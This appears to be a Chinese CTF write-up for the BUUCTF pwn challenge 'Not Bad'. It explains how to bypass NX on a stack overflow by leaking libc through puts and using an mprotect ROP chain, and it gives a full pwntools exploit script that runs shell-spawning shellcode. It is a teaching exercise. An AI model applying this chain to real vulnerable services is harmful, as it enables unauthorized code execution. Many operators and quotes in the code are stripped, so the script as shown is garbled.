ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

栈溢出遇NX保护?mprotect实战解锁shellcode执行

栈溢出遇NX保护?mprotect实战解锁shellcode执行 如果你刷BUUCTF刷到pwn部分大概率会撞见这题——Not Bad。题目名字挺有意思翻译过来就是“还不赖”。实际上这道题也确实配得上这个名字难度不算高但知识点非常典型把栈溢出、NX保护、libc地址泄露、mprotect改内存权限这一整条链路串了起来。做完会感觉很值属于那种“一道题顶三节课”的题目。这道题最适合已经会基本的ret2text、ret2shellcode但一碰到NX开启就不知道怎么办的朋友。你不需要会什么高深的技巧只要会用checksec看保护、会用IDA找漏洞函数、会用pwntools打远程就能把它啃下来。下面我从拿到文件开始把每一步思考和踩坑都写出来最后给一个能直接跑的exp。1. 拿到题目先别急着找exp把基本信息摸清楚1.1 file 与 checksec保护一开思路基本就定了拿到附件解压出来先别急着扔进IDA。第一步永远是两条命令file not_bad checksec not_badfile告诉你这是个什么格式的二进制checksec告诉你它开了哪些保护。这两个信息直接决定了你后面怎么打。以BUUCTF上常见的not_bad版本为例checksec的结果大概是这个画风保护项状态对利用的影响RELROPartial RELROGOT表可写泄露后可以继续操作StackNo canary found栈上没金丝雀溢出不会触发检测NXNX enabled栈不可执行不能直接注入shellcode去跑PIE视版本而定部分版本关闭部分开启影响地址计算方式这就有意思了。没有canary意味着栈溢出几乎畅通无阻NX开启意味着你不能天真地把shellcode塞进栈里然后跳过去执行。这不就是经典“想用shellcode但被NX拦住了”的局吗所以思路应该往“怎么让栈变成可执行”这个方向走。还没装checksec的装一下这东西在pwn里是出门必备。裤兜里没有它的出门别说自己是做pwn的。1.2 用IDA找漏洞点read的大小写得很明显把not_bad拖进IDA64F5看伪代码函数逻辑不复杂。核心漏洞点基本长这样int vuln() { char buf[32]; puts(Input your message:); read(0, buf, 0x100uLL); return 0; }buf只在栈上给了32字节0x20read却一次读了0x100字节。多出来的0xE0字节全部往栈上怼这不叫漏洞这叫明牌告诉你“来溢出我”。这里有个小细节值得注意这种read不是gets读满之后不会自动帮你补\0所以payload里塞什么东西它就原样放进栈。这给了我们很大的操作空间因为你可以在一次read里同时塞下ROP链shellcode。buf距离返回地址的偏移是多少IDA里能看到buf在rbp-0x20的位置所以到返回地址就是0x20填充rbp8返回地址位置 0x28也就是40字节。不过我不建议光靠肉眼看后面用cyclic实测一遍更稳。提示即使你看到的buf偏移和我不一样思路完全不受影响只是把exp里的offset数字改一下而已。2. 核心思路为什么非要用mprotect而不是换个姿势打2.1 NX挡的是什么mprotect又是怎么解开的NX全称No-eXecute意思是把栈、堆这些数据区内存页标记为不可执行。CPU遇到这块区域的指令直接拒绝运行。所以传统ret2shellcode玩法在这里直接失效——你确实能把shellcode填进栈但它就是跑不起来。mprotect是Linux提供的一个系统调用原型是int mprotect(void *addr, size_t len, int prot);它能修改一段内存页的保护属性。prot传7是PROT_READ | PROT_WRITE | PROT_EXEC代表可读可写可执行。说白了就是用系统接口把NX给我们加上去的锁拆掉。拆完锁栈上的shellcode就原地复活了。打个比方栈这块区域平时是带门禁的办公区shellcode是你雇来的外卖小哥没有工牌根本进不了门。mprotect的作用就是你去门口刷一下管理员卡把门禁改成随便进。门禁一关外卖小哥就能大摇大摆进去了。2.2 为什么不用ret2libc或者one_gadget很多新手会问栈不可执行我直接ret2libc调system不就好了理论上确实可以但这题这么设计摆明了是想让你练习mprotect这条路。况且实际环境中不是每道题都给你现成的system和/bin/sh遇到这种情况还是得学会怎么“解锁内存”再自己上shellcode。再一个原因是这道题你可以在一次read里同时布置ROP和shellcode利用链非常紧凑。如果走ret2libc你需要先泄露libc基址再找system、找/bin/sh还要考虑栈对齐步骤反而更繁琐。mprotect路线只需要知道libc基址就能算出mprotect实际地址然后一锤子买卖搞定。2.3 把问题拆开要打通这条链其实只需要解决三件事第一栈地址是多少mprotect第一个参数要传内存起始地址你得知道把哪块区域改成可执行。第二mprotect函数的真实地址是多少程序自身没有这个得从libc里找那就得先泄露libc基址。第三怎么控制程序走完这条链答案就是栈溢出用ROP把参数依次摆好再跳过去。三件事逐个击破后面就好办了。3. 实操过程一步一步把exp搭起来3.1 第一步用cyclic确定栈偏移别信眼睛IDA里看到buf距离返回地址40字节但为了稳妥还是要实测。方法是用pwntools的cyclic生成一个随机字符串作为溢出输入程序崩溃后看RIP的值然后用cyclic_find还原偏移。cyclic 200把输出扔给程序崩溃后gdb里看RIP。比如RIP是faaaaaa那么from pwn import * print(cyclic_find(bfaaaaaa))实测出的偏移如果和我说的40不一样以你实测的为准。这一步花不了半分钟但能帮你之后排查掉一大半问题。3.2 第二步泄露libc基址算出mprotect真实地址PIE关闭的版本里got表和plt表地址是固定的可以直接利用putsplt去打印putsgot里存的真实地址。这个值等于libc中puts函数的地址减去libc里puts的符号偏移就得到了libc基址。注意这里用puts而不是printf因为puts在got表里肯定有记录而且它打印完自带换行比较好接收。泄露阶段的关键在于ROP链末尾一定要跳回main让程序再跑一遍你才有机会发第二段payload。如果不跳回去程序就直接走完了。# 假设pop_rdi是通过ROPgadget找出来的 payload1 bA * offset payload1 p64(pop_rdi) payload1 p64(elf.got[puts]) payload1 p64(elf.plt[puts]) payload1 p64(elf.symbols[main])发出去之后用recvuntil接回泄漏的地址计算libc基址leak u64(p.recvuntil(b\n)[:-1].ljust(8, b\x00)) libc_base leak - libc.sym[puts] mprotect_addr libc_base libc.sym[mprotect]3.3 第三步找gadget把mprotect的三个参数摆到位64位下函数调用前参数依次放在rdi、rsi、rdx。所以我们需要控制这三个寄存器就得找pop rdi; ret、pop rsi; ret、pop rdx; ret这类gadget。用ROPgadget一把梭ROPgadget --binary ./not_bad --only pop|ret | grep rdi ROPgadget --binary ./not_bad --only pop|ret | grep rsi ROPgadget --binary ./not_bad --only pop|ret | grep rdx三道命令筛出来的地址记下来。如果第三道grep不到rdx不要慌后面踩坑环节我会讲用libc里的gadget或者__libc_csu_init兜底。mprotect的参数怎么填第一个参数是内存页起始地址注意Linux内存权限是以页为单位的通常是0x1000栈地址要先做页对齐也就是把buf地址低12位清零。第二个参数是长度填0x1000就够了因为要修改的只是buf所在的这一页。第三个参数是权限标志填7即rwx。3.4 第四步把shellcode放在ROP链后面算好跳转地址这里有一个新手最容易踩的坑mprotect执行完以后程序会把栈上下一项当成返回地址弹进RIP。所以这一项必须填“shellcode所在地址”。而shellcode放在payload的哪里它的地址就是多少。我习惯的布局是[padding 40字节][ROP链][shellcode]ROP链的长度是固定的6个p64值48字节。所以shellcode起始地址 buf_addr 40 48。在payload里把这个地址填到mprotect的返回地址那一格它跳过去以后就正好落在shellcode头部。3.5 完整exp本地能通远程换libc就能跑下面给一份可直接运行的脚本框架。里面的gadget地址是示例记得用ROPgadget针对你的二进制重新查一遍。#!/usr/bin/env python3 from pwn import * context.arch amd64 context.log_level debug # 本地调试 p process(./not_bad) # 远程BUUCTFp remote(node4.buuoj.cn, 端口自己填) elf ELF(./not_bad) libc ELF(./libc.so.6) # 远程环境的libcBUUCTF通常会带 offset 40 # 如果题目会打印buf地址直接收没打印的话参考踩坑部分的environ思路 p.recvuntil(b0x) buf_addr int(p.recvuntil(b\n, dropTrue), 16) log.success(buf addr hex(buf_addr)) # 提前算好mprotect要用到的页地址 page_start buf_addr ~0xFFF # 第一次ROP泄露puts真实地址 pop_rdi 0x4007c3 # 示例地址需要自己查 pop_rsi 0x4007c1 # 示例地址 pop_rdx 0x4006ca # 示例地址 payload1 bA * offset payload1 p64(pop_rdi) payload1 p64(elf.got[puts]) payload1 p64(elf.plt[puts]) payload1 p64(elf.symbols[main]) p.sendline(payload1) leak u64(p.recvuntil(b\n)[:-1].ljust(8, b\x00)) libc_base leak - libc.sym[puts] mprotect_addr libc_base libc.sym[mprotect] log.success(libc base hex(libc_base)) log.success(mprotect hex(mprotect_addr)) # 第二次ROPmprotect 跳到shellcode shellcode asm(shellcraft.sh()) rop b rop p64(pop_rdi) p64(page_start) rop p64(pop_rsi) p64(0x1000) rop p64(pop_rdx) p64(7) rop p64(mprotect_addr) rop p64(buf_addr offset len(rop)) # 跳到紧接着的shellcode payload2 bB * offset rop shellcode p.sendline(payload2) p.interactive()这段脚本的逻辑线是这样的第一次溢出让程序执行puts泄露putsgot拿到libc基址后跳回main重新开始第二次溢出把mprotect三个参数塞进寄存器让它把buf所在栈页改成可执行然后ret到栈上执行shellcode拿到shell。测试的时候如果本地通了远程打不通90%是libc版本不匹配。BUUCTF的远程环境基本都是Docker起Ubuntu 18.04跑libc-2.27你传的libc.so.6要和它一致否则计算出来的mprotect地址就是错的。4. 踩坑记录与问题排查实录4.1 偏移偏移还是偏移新手最常见的报错就是段错误而且RIP的值还乱七八糟。这时候优先检查offset。我曾经在这类题上吃过亏IDA里看buf距离rbp是0x20我直接填0x20结果没算上rbp那8字节怎么打都崩。记住offsetpadding到rbp的距离8这个8就是rbp在栈上占的位置。用cyclic实测一次比什么都靠谱。另外如果read读入时你用了sendlinepayload后面会多一个换行符。如果shellcode刚好在payload末尾换行符会紧跟shellcode后面。一般情况下不影响执行但如果你的shellcode长度算得非常紧多一个字节可能就影响后续指令布局。稳妥起见用send而不是sendline。4.2 找不到pop rdx这个gadget怎么办不是每个二进制都自带pop rdx; ret。64位程序里pop rsi和pop rdi通常比较好找pop rdx偶尔缺席。解决方案有两个第一去libc里找。libc里gadget丰富得多而且你已经泄露了libc基址把偏移加上去就能用ROPgadget --binary ./libc.so.6 --only pop|ret | grep rdx第二用__libc_csu_init的通用gadget。这是CTF里非常经典的万能ROP通过两个连续pop一次性把rbx、rbp、r12、r13、r14、r15都弹出来然后通过call指令间接调用目标函数顺便把r15当rdx用、r14当rsi用、r13d当edi用。因为r13d是低32位传地址时理论上长度不够但很多题目场景下配合其他手段也能搞定。注意__libc_csu_init的gadget在使用时要小心栈对齐64位下有些函数调用要求rsp是16字节对齐否则一进函数就崩。真崩了就在ROP链里多塞一个ret。4.3 远程打不通本地却好好的这是pwn里最经典的“薛定谔的利用”。本地通、远程崩十有八九是libc对不上。BUUCTF的题目附件一般会给你远程环境的libc用它来计算符号偏移。如果没给就用LibcSearcher根据泄露的地址后几位反查版本或者在线libc database检索。还有一种情况是远程的PIE版本和你本地不一样。如果你的是No PIE、远程是PIE那你填的所有程序内地址都要变成“基址偏移”。解决办法是先泄露程序基址比如用格式化字符串或者再次利用栈上的返回地址再重新计算所有地址。思路完全一样只是多一步泄露动作。4.4 快速排查速查表现象可能原因解决方向程序直接崩RIP不可控偏移算错cyclic实测offset本地能通远程必崩libc版本不匹配换远程环境的libc重算偏移mprotect返回后还是执行不了shellcode页地址没对齐或长度不够addr做页对齐len填0x1000倍数ROP链一发就崩连泄露都打不出来缺某个gadget或栈对齐不对换libc内gadgetROP开头补ret接收泄露地址时多出或少了字节puts输出格式没处理干净用recvuntil(b\n)截断再ljust(8)打进去没反应进程正常退出返回地址没跳到shellcode检查shell_addr的计算加上offset和len5. 一点延伸把这道题的思路迁移到别处Not Bad做完以后我建议你趁热打铁再试试下面几个玩法练手效果极佳。第一如果题目不打印buf地址但你能泄露libc基址那就用libc里的environ符号拿栈地址。environ指针本身存放在libc的数据段它指向栈上环境变量区。泄露environ后得到一个稳定的栈地址减去固定偏移就是你buf的位置。这个技巧在真实攻防里也很常用学一下绝对值。第二如果题目开了PIE把“泄露libc”升级成“泄露程序基址libc基址”思路不变就是多打一轮。常见的做法是调用puts打印栈上返回地址之类的已知内容把低位补全后计算基址。第三进一步挑战更复杂的保护组合比如题目再给你开个沙箱光执行shellcode不够得用ORWopen/read/write方式去读flag。那时候你回头再看Not Bad会觉得它确实只是一道开胃菜。最后分享一个我个人的小习惯面对这种“栈上放ROPshellcode”的组合payload我会先在本地gdb里给mprotect下个断点确认断下来时rdi、rsi、rdx三个寄存器分别是多少。三个寄存器看一眼比盲调半小时都管用。这道题你能解开mprotect这一环后面很多带NX的题目都会变得非常顺。
返回列表